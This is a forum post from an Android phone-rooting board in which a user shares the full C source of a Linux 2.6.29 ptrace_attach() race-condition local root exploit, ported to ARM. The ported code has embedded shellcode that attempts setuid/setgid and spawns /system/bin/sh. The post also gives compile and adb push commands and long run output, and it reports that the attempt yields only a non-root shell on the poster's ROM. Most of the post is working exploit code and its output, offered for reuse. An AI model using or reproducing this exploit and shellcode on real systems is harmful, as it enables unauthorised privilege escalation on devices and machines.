[Hero CDMA Android Development] s0be:
I'm using code based on the m7/ptrace exploit. Here's my code:

/*
* GNU/Linux kernel 2.6.29 ptrace_attach() local root race condition exploit.
* ==========================================================================
* This is a local root exploit for the 2.6.29 ptrace_attach() race condition that allows
* a process to gain elevated privileges under certain conditions. The vulnerability is
* caused due to "ptrace_attach()" using an inadequate mutex while synchronizing with
* "execve()". This can be exploited to potentially execute arbitrary code with root
* privileges by attaching to a setuid process. The race is particularly narrow, this
* exploit checks that it has attached to the correct process before attempting to
* inject shellcode which helps reduce false positives and shells being spawned with
* lower privileges.
*
* Ex.
* matthew@matthew-desktop:~$ id
* uid=1000(matthew) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy),
* 29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
* matthew@matthew-desktop:~$ uname -a
* Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux
* matthew@matthew-desktop:~$ while `/bin/true/`;do ./shoryuken;done
* [... much scroll removed, go make coffee, get a job, do something while running ...]
* /dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro)
* proc on /proc type proc (rw,noexec,nosuid,nodev)
* /sys on /sys type sysfs (rw,noexec,nosuid,nodev)
* varrun on /var/run type tmpfs (rw,noexec,nosuid,nodev,mode=0755)
* varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
* udev on /dev type tmpfs (rw,mode=0755)
* devshm on /dev/shm type tmpfs (rw)
* devpts on /dev/pts type devpts (rw,gid=5,mode=620)
* securityfs on /sys/kernel/security type securityfs (rw)
* gvfs-fuse-daemon on /home/matthew/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)
* [ WIN! 18281
* [ Overwritten 0xb8097430
* # id
* uid=0(root) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
* 44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
* #
*
* Please note this exploit is released to you under fuqHAK5 licence agreement, you may use
* this exploit, sell it, recode it, rip the header and claim it as your own on the condition
* that you are not a fan of the hak5 tv "hacking" show. This exploit must not be renamed from
* shoryuken.c at any time.
*
* -- prdelka
*/
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <stdio.h>
#include <fcntl.h>

struct pt_regs {
long uregs[18];
};

#define ARM_cpsr uregs[16]
#define ARM_pc uregs[15]
#define ARM_lr uregs[14]
#define ARM_sp uregs[13]
#define ARM_ip uregs[12]]
#define ARM_fp uregs[11]
#define ARM_r10 uregs[10]
#define ARM_r9 uregs[9]
#define ARM_r8 uregs[8]
#define ARM_r7 uregs[7]
#define ARM_r6 uregs[6]
#define ARM_r5 uregs[5]
#define ARM_r4 uregs[4]
#define ARM_r3 uregs[3]
#define ARM_r2 uregs[2]
#define ARM_r1 uregs[1]
#define ARM_r0 uregs[0]
#define ARM_ORIG_r0 uregs[17]

char shellcode[] =
"\x00\x00\x40\xe0" /* sub r0, r0, r0 */
"\x23\x70\xa0\xe3" /* mov r7, #23 */
"\x00\x00\x00\xef" /* swi 0x0 */
"\x00\x00\x40\xe0" /* sub r0, r0, r0 */
"\x17\x70\xa0\xe3" /* mov r7, #17 */
"\x00\x00\x00\xef" /* swi 0x0 */
"\x03\x30\x43\xe0" /* sub r3, r3, r3 */
"\x14\x00\x8f\xe2" /* add r0, pc, #20 */
"\x08\x00\x0d\xe5" /* str r0, [sp, #-8] */
"\x04\x30\x0d\xe5" /* str r3, [sp, #-4] */
"\x08\x10\x4d\xe2" /* sub r1, sp, #8 */
"\x04\x20\x4d\xe2" /* sub r2, sp, #4 */
"\x0b\x70\xa0\xe3" /* mov r7, #11 */
"\x00\x00\x00\xef" /* swi 0x0 */
"/sys"
"tem/"
"bin/"
"sh\0\0";
int main(int argc, char **argvV){
pid_t child;
int eip, i = 0;
struct pt_regs regs;
char *argv[] = {"ip","link","show",/*"set",i*/"tiwlan0",/*"up",*/0};
char *envp[] = {"",0};
child = fork();
if(child == 0) {

execve("/system/bin/ip",argv,envp);

}
else {
if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
wait(NULL);
char buf[256];
sprintf(buf, "/proc/%d/cmdline", child);
int fd = open(buf, O_RDONLY);
read(fd, buf, 2);
close(fd);
printf("%s",buf);
if(buf[0] == 'i') {
printf("[ WIN! %d\n", child);
fflush(stdout);
if (ptrace(PTRACE_GETREGS, child, NULL, &regs))
printf("error gettext!\n");
eip = regs.ARM_pc;
printf("EIP: %lx Instruction executed: %lx\n",
eip, ptrace(PTRACE_PEEKTEXT, child, eip, NULL));
while (i < (sizeof(shellcode)) ){
if (ptrace(PTRACE_POKETEXT, child, eip, *(int*)&shellcode[i])) {
printf("error poketext!\n");
}
printf("Wrote shellcode %x line %d\n", *(int*)&shellcode[i], i/4);
i += 4;
eip += 4;
}
printf("[ Overwritten 0x%x\n",regs.ARM_pc);
if (ptrace(PTRACE_SETREGS, child, NULL, &regs))
printf("error setregs!\n");
if (ptrace(PTRACE_CONT, child, NULL,NULL))
printf("error cont!\n");
if (ptrace(PTRACE_DETACH, child, NULL,NULL))
printf("error detach!\n");
usleep(1);
wait(0);
}
}
}
printf("exit!\n");
exit (0);
return 0;
}

// milw0rm.com [2009-05-14]

My changes:

add pt_regs

add ARM_?? macros

switched to sys/user.h from linux/user.h

uses ip link foo instead of reboot for suid process

compiled with

$ arm-linux-gnueabi-gcc m7.c -o m7 -static

This code DOES NOT WORK. I will not provide a binary only to provide support saying it doesn't work. It appears that this hole has been closed on the Alltel rom.

sample output:

C:\android-sdk-windows\tools>adb push ..\AlltelHeroRootFiles\m7 /data/local
568 KB/s (0 bytes in 564379.000s)

C:\android-sdk-windows\tools>adb shell chmod 0755 /data/local/m7

C:\android-sdk-windows\tools>adb shell
$ while /data/local/m7; do : ; done;
while /data/local/m7; do : ; done;
/droc/2163/cmdlineexit!
/droc/2165/cmdlineexit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
/droc/2169/cmdlineexit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
/droc/2171/cmdlineexit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
exit!
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
exit!
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
exit!
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
iproc/2189/cmdline[ WIN! 2189
EIP: b0000100 Instruction executed: e1a0000d
Wrote shellcode e0400000 line 0
Wrote shellcode e3a07023 line 1
Wrote shellcode ef000000 line 2
Wrote shellcode e0400000 line 3
Wrote shellcode e3a07017 line 4
Wrote shellcode ef000000 line 5
Wrote shellcode e0433003 line 6
Wrote shellcode e28f0014 line 7
Wrote shellcode e50d0008 line 8
Wrote shellcode e50d3004 line 9
9: tiwlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 100
link/ether 38:e7:d8:02:15:e8 brd ff:ff:ff:ff:ff:ff
Wrote shellcode e24d1008 line 10
Wrote shellcode e24d2004 line 11
Wrote shellcode e3a0700b line 12
Wrote shellcode ef000000 line 13
Wrote shellcode 7379732f line 14
Wrote shellcode 2f6d6574 line 15
Wrote shellcode 2f6e6962 line 16
Wrote shellcode 6873 line 17
Wrote shellcode 0 line 18
[ Overwritten 0xb0000100
$

There is no 'excerption' there... it got a ptrace hook on a suid task in 12 iterations, overwrote the stack with the payload and got me a shell. just not a root shell. I've moved onto finding a new attack method now.